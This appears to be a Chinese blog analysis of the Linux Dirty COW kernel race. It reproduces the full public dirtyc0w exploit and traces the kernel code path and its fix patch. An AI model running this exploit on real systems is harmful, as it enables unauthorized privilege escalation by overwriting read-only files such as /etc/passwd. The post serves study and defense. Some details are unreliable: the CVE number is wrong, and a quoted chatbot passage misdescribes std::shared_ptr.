dirtycow漏洞分析
CVE-2016-9159(dirtycow)受影响的内核版本:linux 2.6.22 ~ patched kernel versions
dirtycow这个漏洞的原理比较复杂,但官方exp非常简单。所以从exp入手探索背后的漏洞原理。
先简单描述一下这个漏洞做了什么:
对一个只读的私有映射(且是文件映射)的页面进行写操作(通过/proc/self/mem写)时,会触发copy-on-write,将page cache中的内容拷贝到cow页面。
- 正常情况下,写的是cow页面,不会同步到磁盘文件。
- 然而dirtycow漏洞可以直接映射page cache页面并写入,原本的只读文件被改写了。(可以改/etc/passwd或带suid位的程序来提权)
exp分析
产生COW的方式有两种,一种是写/proc/self/mem文件,另一种是通过PTRACE_POKEDATA跨进程写。
这里以比较经典的前者作为分析对象(前者分析明白了,后者也就能理解了),exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>
void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map);
pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; }
|
调用链分析
跟dirtycow漏洞相关的代码,主要集中在三个文件,这里打包保存一下:dirtycow_src,根据网上资料和自己的理解加了注释,方便后续回顾更改。
对/proc/self/mem
文件的读写操作,对应到fd/proc/base.c文件中的proc_mem_operations
1 2 3 4 5 6 7
| static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };
|
dirtycow的利用中,使用的是往/proc/self/mem
文件写,对应到内核的处理函数为mem_write()
,因此我们跟着它一步步分析,梳理出函数调用链:
1 2 3 4 5 6 7 8 9 10
| mem_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) mem_rw(file, (char __user*)buf, count, ppos, 1); access_remote_vm(mm, addr, page, this_len, write); __access_remote_vm(NULL, mm, addr, buf, len, write); get_user_pages_remote(tsk, mm, addr, 1, write, 1, &page, &vma); __get_user_pages_locked(tsk, mm, start, nr_pages, write, force, pages, vmas, NULL, false,FOLL_TOUCH | FOLL_REMOTE); __get_user_pages(tsk, mm, start, nr_pages, flags, pages, vmas, locked); find_extend_vma(mm, start); follow_page_mask(vma, start, foll_flags, &page_mask); faultin_page(tsk, vma, start, &foll_flags, nonblocking);
|
follow_page_mask()
:查询页表获取虚拟地址对应的物理页,如果返回NULL则调用faultin_page()
进行缺页处理。有两种情况会返回NULL,导致触发faultin_page()
函数:
- 页表中不存在物理页即缺页
- 访问语义标志foll_flags对应的权限违反内存页的权限时
以上两种情况再dirtycow的利用中都会发生,因此follow_page_mask()
和faultin_page()
两个函数会被反复调用。接下来,我们按照时间先后顺序,分析这它们更深层次的函数调用过程。
刚开始分析内核的同学可以结合 xuanxuan博客 中的图片来理解,画的非常棒!
第一次
第一次进 follow_page_mask()
,由于页表项和页表都是空的,所以返回NULL,触发faultin_page()
进行缺页错误处理。
faultin_page()
中,根据访问flags(FOLL_WRITE)和mmap类型(VM_PRIVATE,文件映射),在物理内存上将page_cache做了一份拷贝(COW)。并使用后者建立页表,映射给进程使用。
follow_page_mask()
函数中调用链如下:
1 2 3 4 5 6 7 8 9
| follow_page_mask(vma, start, foll_flags, &page_mask); pgd_offset(mm, address); pud_offset(pgd, address); pmd_offset(pud, address); follow_page_pte(vma, address, pmd, flags); pte_offset_map_lock(mm, pmd, address, &ptl); pte_present(pte); if (!pte_none(pte)) return NULL;
|
以上函数返回后,会立即进入faultin_page()
进行缺页错误处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| faultin_page(tsk, vma, start, &foll_flags, nonblocking); handle_mm_fault(mm, vma, address, fault_flags); __handle_mm_fault(mm, vma, address, flags); pgd_offset(mm, address); pud_alloc(mm, pgd, address); pmd_alloc(mm, pud, address); pte_alloc(mm, pmd, address) pte_offset_map(pmd, address); handle_pte_fault(mm, vma, address, pte, pmd, flags); do_fault(mm, vma, address, pte, pmd, flags, entry); do_cow_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); __do_fault(vma, address, pgoff, flags, new_page, &fault_page); copy_user_highpage(new_page, fault_page, address, vma); pte_offset_map_lock(mm, pmd, address, &ptl); do_set_pte(vma, address, new_page, pte, true, true); mk_pte(page, vma->vm_page_prot); maybe_mkwrite(pte_mkdirty(entry), vma); page_add_new_anon_rmap(page, vma, address, false); set_pte_at(vma->vm_mm, address, pte, entry); lru_cache_add_active_or_unevictable(new_page, vma);
|
do_cow_fault()
函数会返回0,回到__get_user_pages()
函数中的retry标签处,再次执行follow_page_mask()
和faultin_page()
1 2 3 4 5 6 7 8 9 10 11 12
| retry: if (unlikely(fatal_signal_pending(current))) return i ? i : -ERESTARTSYS; cond_resched(); page = follow_page_mask(vma, start, foll_flags, &page_mask); if (!page) { int ret; ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking); switch (ret) { case 0: goto retry;
|
第二次
第二次进入follow_page_mask()
函数,此时页表和映射关系已建立好,但由于页表标记位是read only,而访问的flags中要求写,因此会返回NULL。
于是再次进入faultin_page()
函数处理,发现是因为页表写导致的错误,于是执行写时复制(或复用之前的匿名页),然后将flags中的FOLL_WRITE清除。表示映射正常返回,后续可以强制往该页写(/proc/self/mem
就是这么任性,只不过写的是匿名页,只在程序运行内存中有表现,不会同步回磁盘文件)。
第二次进入follow_page_mask()
函数:
1 2 3 4 5 6 7 8 9 10 11
| follow_page_mask(vma, start, foll_flags, &page_mask); pgd_offset(mm, address); pud_offset(pgd, address); pmd_offset(pud, address); follow_page_pte(vma, address, pmd, flags); pte_offset_map_lock(mm, pmd, address, &ptl); pte_present(pte); if ((flags & FOLL_WRITE) && !pte_write(pte)) { pte_unmap_unlock(ptep, ptl); return NULL; }
|
返回为NULL,触发faultin_page()
处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| faultin_page(tsk, vma, start, &foll_flags, nonblocking); handle_mm_fault(mm, vma, address, fault_flags); __handle_mm_fault(mm, vma, address, flags); pgd_offset(mm, address); pud_alloc(mm, pgd, address); pmd_alloc(mm, pud, address); pte_alloc(mm, pmd, address) pte_offset_map(pmd, address); handle_pte_fault(mm, vma, address, pte, pmd, flags);
do_wp_page(mm, vma, address, pte, pmd, ptl, entry); vm_normal_page(vma, address, orig_pte); if (PageAnon(old_page) && !PageKsm(old_page)) reuse_swap_page(old_page, &total_mapcount) wp_page_reuse(mm, vma, address, page_table, ptl, orig_pte, old_page, 0, 0); pte_mkyoung(orig_pte); maybe_mkwrite(pte_mkdirty(entry), vma); return VM_FAULT_WRITE; if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) *flags &= ~FOLL_WRITE; return 0;
|
do_cow_fault()
函数返回0,回到__get_user_pages()函数中的retry标签处,再次执行follow_page_mask()
。但这次,flags中的FOLL_WRITE已经被清除了,相当于一个读请求。于是,正常情况下follow_page_mask()
此时就会返回刚刚操作过的匿名映射的页面,后续用户对该页面的写不会同步到磁盘文件中。正常来说这个功能是没什么问题的。
但是!!如果此时有另一个线程出现,使用 madvise(addr, len, MADV_DONTNEED)
释放目标页面,并清空页表项,后续就会以FOLL_RAED再走一次follow_page_mask()
-> faultin_page
-> follow_page_mask()
-> 返回page cache映射的页面(也就是说写的内容会被同步到磁盘文件中)。回到__access_remote_vm()
中,调用kmap()
映射返回的页面,由于write标志为1,进入copy_to_user_page()
,将需要写入的内容写到只读文件中。
接下来,我们分析一下目标页面被madvise()
释放后的过程
第三次
假设第三次进入follow_page_mask()
函数前,address对应的物理页被释放且对应的页表项被清空了。而flags中没有POLL_WRITE,会进入读错误的缺页错误处理过程。这个过程不会产生匿名页面,直接将page_cache映射到虚拟内存空间,后续的读写会同步回磁盘文件(这就是漏洞导致的问题所在)。
第三次进入follow_page_mask()
函数:
1 2 3 4 5 6 7 8 9
| follow_page_mask(vma, start, foll_flags, &page_mask); pgd_offset(mm, address); pud_offset(pgd, address); pmd_offset(pud, address); follow_page_pte(vma, address, pmd, flags); pte_offset_map_lock(mm, pmd, address, &ptl); pte_present(pte); if (!pte_none(pte)) return NULL;
|
返回为NULL,触发faultin_page()
处理:
1 2 3 4 5 6 7 8 9 10 11 12 13
| faultin_page(tsk, vma, start, &foll_flags, nonblocking); handle_mm_fault(mm, vma, address, fault_flags); __handle_mm_fault(mm, vma, address, flags); pgd_offset(mm, address); pud_alloc(mm, pgd, address); pmd_alloc(mm, pud, address); pte_alloc(mm, pmd, address) pte_offset_map(pmd, address); handle_pte_fault(mm, vma, address, pte, pmd, flags); do_fault(mm, vma, address, pte, pmd, flags, entry); do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
|
第四次
follow_page_mask()
返回获取到的物理页面给上层函数,不会再进入缺页处理函数。
回到__get_user_pages()
函数中的retry标签处,再次执行follow_page_mask()
,这次就能获得page_cache对应的页面,对其写是会直接同步到文件中的。
1 2 3 4 5 6 7 8
| follow_page_mask(vma, start, foll_flags, &page_mask); pgd_offset(mm, address); pud_offset(pgd, address); pmd_offset(pud, address); follow_page_pte(vma, address, pmd, flags); pte_offset_map_lock(mm, pmd, address, &ptl); pte_present(pte); page = vm_normal_page(vma, address, pte);
|
最终
紧接着,返回到__access_remote_vm()
函数中,通过kmap()
映射绕过mmap映射的读写限制,完成强制写内存。(不幸的是,由于条件竞争漏洞的存在,这个内存写会被同步到磁盘文件中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ret = get_user_pages_remote(tsk, mm, addr, 1, write, 1, &page, &vma); if (ret <= 0) { } else { maddr = kmap(page); if (write) { copy_to_user_page(vma, page, addr, maddr + offset, buf, bytes); set_page_dirty_lock(page); } else { copy_from_user_page(vma, page, addr, buf, maddr + offset, bytes); } kunmap(page); put_page(page);
|
后续同步时,就会将page cache修改过的内容写回到磁盘文件中去。(?具体的写回时机是?)
总结
精简一下流程,方便回头来看的时候快速理解。
正常调用流程:
1 2 3 4 5 6 7 8 9 10 11
| follow_page_mask() ⬇ faultin_page() ⬇ follow_page_mask() ⬇ faultin_page() ⬇ follow_page_mask() ⬇ 返回上一级函数
|
dirtycow调用流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| follow_page_mask() ⬇ faultin_page() ⬇ follow_page_mask() ⬇ faultin_page() ⬇ follow_page_mask() ⬇ faultin_page() ⬇ follow_page_mask() ⬇ 返回上一级函数
|
复现环境
在linux4.6编译的内核下复现成功,一个原本只读的文件被普通用户修改成功。
- 写入字符串的长度如果大于文件大小,最多只能写入文件大小个字符
- 官方exp中for循环设置了100000000次,很慢。测试了一下,我的环境里改成100000也能打成,会快很多。
漏洞修复
patch:mm: remove gup_flags FOLL_WRITE games from __get_user_pages()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma, #define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */ #define FOLL_MLOCK 0x1000 /* lock present pages */ #define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */ +#define FOLL_COW 0x4000 /* internal GUP flag */ typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data);
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; } +/* + * FOLL_FORCE can write to even unwritable pte's, but only + * after we've gone through a COW cycle and they are dirty. + */ +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags) +{ + return pte_write(pte) || + ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte)); +} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page; - if ((flags & FOLL_WRITE) && !pte_write(pte)) { + if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) { pte_unmap_unlock(ptep, ptl); return NULL; } @@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma, * reCOWed by userspace write). */ if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) - *flags &= ~FOLL_WRITE; + *flags |= FOLL_COW; return 0; }
|
patch中,增加了一个FOLL_COW
的属性和一些检查。当第二次因为 “页表权限和访问权限不匹配” 进入faultin_page()
处理时,不再清除FOLL_WRITE
属性,而是给flags加上一个FOLL_COW
的属性。这样第三次进入follow_page_mask()
时仍然带着FOLL_WRITE
,避免了条件竞争引起的写page cache。
参考资料
知识点
copy-on-write机制
先看一下wiki上对Copy-on-write的解释:
Copy-on-write(COW)是计算机编程中一种资源管理技术,它提高了“可更改资源”的复制效率。如果一个资源需要被复制,但暂时不会被更改,那么就没必要创建一个新的资源,而是让“复制品”和”原件”共享同一个资源。但如果后续对该资源的使用过程中,需要对其进行更改(如写操作)时,就必须创建一个新资源(复制一份)。也就是copy-on-write(写时拷贝)名字的意义,在进行写操作时才真正执行复制的操作。
在虚拟内存管理中,copy-on-write在fork系统调用的实现中有所体现,用于父子进程间虚拟内存的共享。通常,创建一个新进程时,父子进程的内存空间有大量相同的内容,如果为子进程创建一个跟父进程同样大小的内存空间,是非常浪费的行为,这时copy-on-write机制就能很好地发挥作用。
copy-on-write机制的实现可以很简单,在页表上标记某个内存页面为只读,并记录当前物理页面的引用数(在struct page中)。当内核监控到有对这个页面写的请求时,就新申请一个物理页面,将原数据拷贝过来(对于引用计数为1的情况,无需申请新页面)。更新页表指向新申请的物理页面,对原物理页面的引用计数减1,然后执行写操作。
另外,在内存分配中也可以使用copy-on-write机制。在系统中保留一个内容全为0的物理页面,当进程申请内存时,把这个物理页面映射给进程,并将其标记为copy-on-write。这样,只有当进程有写操作时,才需要为其分配物理内存,让进程拥有的虚拟内存空间大于实际的物理内存空间。
关于它的应用场景,我问了一下chatgpt,觉得它回答得挺好的,直接贴上来了。(感觉以后写博客都可以交给它了hhhh)
Copy-On-Write(COW)机制在操作系统和编程语言中有多种应用场景。以下是一些常见的应用场景和方法:
- 进程复制:在Linux中,当一个进程使用fork()系统调用创建一个子进程时,子进程会共享父进程的地址空间。使用COW机制可以避免不必要的内存复制,从而提高进程创建的效率和性能。
- 文件系统:在文件系统中,COW技术可以用于实现写时复制(Copy-On-Write)的快照。在写时复制快照中,当文件被修改时,仅会复制发生变化的数据块,而不是整个文件。这可以节省存储空间,并提高快照的创建和恢复速度。
- 内存分配:在编程语言中,COW机制可以用于实现共享内存。例如,在C++中,std::shared_ptr类使用COW技术来实现多个指针共享同一个对象的内存。当一个指针尝试修改共享内存时,COW机制会创建一个新的拷贝,以避免对其他指针的影响。
- 数据库:在数据库中,COW技术可以用于实现多版本并发控制(MVCC)。在MVCC中,每个事务可以看到数据库的一个快照。当事务修改数据时,COW机制会创建一个新的版本,以避免对其他事务的影响。
这些只是COW机制的一些常见应用场景和方法,它还可以用于其他许多领域,例如虚拟内存、网络协议栈等。
mmap
mmap是一个非常常用的系统调用(在libc中封装成了mmap函数),它可以将文件或设备映射到进程的虚拟内存空间。当我们需要对文件或设备进行读写操作时,通常需要将它们读取到内存中,然后进行操作,最后再写回到文件或设备中。这个过程需要使用大量的系统调用和数据传输,非常繁琐和耗时。而将文件或设备映射到进程的虚拟地址空间中,可以将文件或设备的数据直接映射到进程的内存中,这样就可以直接在内存中进行读写操作,大大提高了读写效率。
mmap系统调用被封装成了一个libc的函数,函数定义如下:
1 2
| #include <sys/mman.h> void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
|
- void *addr:指定映射区域在进程中的起始地址,通常传入NULL,让内核自动分配。
- size_t length:指定映射区域的大小。
- int prot:指定映射区域的访问权限,常用的有可读
PROT_READ
、可写PROT_WRITE
、可执行PROT_EXEC
等。
- int flags:指定映射区域的映射方式,比如私有映射
MAP_PRIVATE
、共享映射MAP_SHARED
、匿名映射MAP_ANONYMOUS
、固定映射MAP_FIXED
等。
- int fd:指定需要映射的文件描述符,如果指定映射方式是匿名映射,则为-1。
- off_t offset:指定从文件或设备的哪个位置开始映射数据。
mmap函数返回一个指向映射区域的指针,如果映射失败,则返回MAP_FAILED。
该漏洞利用重点需要关注映射方式MAP_PRIVATE。
MAP_PRIVATE:私有映射。将文件或设备映射到进程的虚拟地址空间中,并创建一个进程私有的映射区域。这样,进程可以在这个映射区域中进行读写操作,而不会影响原始文件或设备。当进程对映射区域进行修改时,内核会将这些修改写入到一个新的私有页面中,而不会影响原始文件或设备。这个标志必须与PROT_READ结合使用。
简单来说,MAP_PRIVATE标志会建立一个写入时拷贝(copy-on-write)的私有映射,内存区域的写入不会影响到原文件。
尝试用不同的open属性和mmap属性来操作测试文件,得到如下结果:
open |
mmap |
result |
O_RDWR |
PROT_READ|PROT_WRITE,MAP_PRIVATE |
写操作不会报错,但内容无法同步到磁盘文件 |
O_RDWR |
PROT_READ|PROT_WRITE,MAP_SHARED |
写的内容将同步到磁盘文件中 |
O_RDWR |
PROT_READ,MAP_PRIVATE |
尝试往映射区写入时程序崩溃 |
O_RDWR |
PROT_READ,MAP_SHARED |
尝试往映射区写入时程序崩溃 |
O_RDONLY |
PROT_READ|PROT_WRITE,MAP_PRIVATE |
可以映射成功,但写的内容不会同步到磁盘文件 |
O_RDONLY |
PROT_READ|PROT_WRITE,MAP_SHARED |
无法映射成功,mmap报错Permission denied |
madvise
madvise(memory advise)是一个系统调用,可以用于向内核提供关于进程虚拟地址空间的一些提示,以帮助内核优化内存使用和性能。
madvise被封装成libc函数,其原型如下:
1 2
| #include <sys/mman.h> int madvise(void *addr, size_t length, int advice);
|
其中,addr是进程虚拟地址空间的起始地址,length是需要提供提示的内存区域的大小,advice是提示类型,常见的提示类型有以下几种:
- MADV_NORMAL:默认行为,不提供任何提示。
- MADV_RANDOM:该区域将被随机访问,建议内核预读取相邻的页。
- MADV_SEQUENTIAL:该区域将被顺序访问,建议内核预读取整个区域。
- MADV_WILLNEED:该区域将被访问,建议内核预读取整个区域。
- MADV_DONTNEED:该区域不再需要,建议内核释放相应的物理内存(页表项将被置空)。
/proc/self/mem文件
/proc/<pid>/
目录下有许多特殊的文件,如/proc/self/maps
可以看到查看进程虚拟地址空间映射的情况,/proc/self/mem
对应当前进程的虚拟地址空间(可以直接对虚拟地址空间进行读写)。
如下所示代码片段,最终value的输出结果是”999”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h>
int main() { int value = 123; int evil = 999; int fd = open("/proc/self/mem", O_RDWR); if (fd == -1) { perror("open"); exit(-1); } if (lseek(fd, (off_t)&value, SEEK_SET) == -1) { perror("lseek"); exit(-1); } if (write(fd, &evil, sizeof(evil)) != sizeof(evil)) { perror("write"); exit(-1); } close(fd); printf("value = %d\n", value); return 0; }
|
问题讨论
为什么不直接对mmap的页用write写,而是使用/proc/self/mem?
我的理解:因为对/proc/self/mem
写入时,内核空间处理有调用kmap函数,映射目标物理页面到内核(pte是可写的),对目标页面读写。所以原本用户不可写的内存区域(pte是只读的),也可写入。而write或memcpy函数对应的内核处理流程中,如果发现往只读内存写,就会产生segmentation fault。